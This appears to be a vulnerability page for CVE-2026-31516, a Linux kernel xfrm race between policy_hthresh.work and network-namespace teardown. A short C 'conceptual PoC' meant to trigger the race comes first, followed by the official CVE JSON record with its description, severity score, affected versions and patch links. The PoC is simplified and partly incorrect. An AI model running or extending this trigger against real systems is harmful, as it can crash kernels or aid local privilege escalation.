CVE-2026-31516

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> // Conceptual PoC for CVE-2026-31516 // Triggers the race condition between xfrm work queue and netns teardown. int main() { int fd; struct sockaddr_nl sa; char buf[1024]; struct nlmsghdr *nh; // Step 1: Create a new network namespace to isolate the target if (unshare(CLONE_NEWNET) != 0) { perror("unshare"); return 1; } // Step 2: Setup Netlink socket to communicate with XFRM subsystem fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) return -1; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(fd, (struct sockaddr *)&sa, sizeof(sa)); // Step 3: Send XFRM_MSG_NEWSPDINFO to queue policy_hthresh.work memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; nh->nlmsg_type = XFRM_MSG_NEWSPDINFO; nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; nh->nlmsg_len = NLMSG_SPACE(sizeof(struct xfrm_userpolicy_info)); // Simplified header sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); close(fd); // Step 4: Race condition - Trigger teardown immediately // In a real exploit, threads would be used to precisely time this. // Here, exiting the process tears down the netns, racing against the workqueue. return 0; }

{"cve": {"id": "CVE-2026-31516", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:51.130", "lastModified": "2026-04-28T16:30:40.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: prevent policy_hthresh.work from racing with netns teardown\n\nA XFRM_MSG_NEWSPDINFO request can queue the per-net work item\npolicy_hthresh.work onto the system workqueue.\n\nThe queued callback, xfrm_hash_rebuild(), retrieves the enclosing\nstruct net via container_of(). If the net namespace is torn down\nbefore that work runs, the associated struct net may already have\nbeen freed, and xfrm_hash_rebuild() may then dereference stale memory.\n\nxfrm_policy_fini() already flushes policy_hash_work during teardown,\nbut it does not synchronize policy_hthresh.work.\n\nSynchronize policy_hthresh.work in xfrm_policy_fini() as well, so the\nqueued work cannot outlive the net namespace teardown and access a\nfreed struct net."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.1", "versionEndExcluding": "6.12.80", "matchCriteriaId": "7B818F6F-764A-42AE-90D4-B937B1934C2D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:-:*:*:*:*:*:*", "matchCriteriaId": "2C941823-DB24-432E-8F78-90665662756A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/29fe3a61bcdce398ee3955101c39f89c01a8a77e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4e2e77843fef473ef47e322d52436d8308582a96", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/56ea2257b83ee29a543f158159e3d1abc1e3e4fe", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8854e9367465d784046362698731c1111e3b39b8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}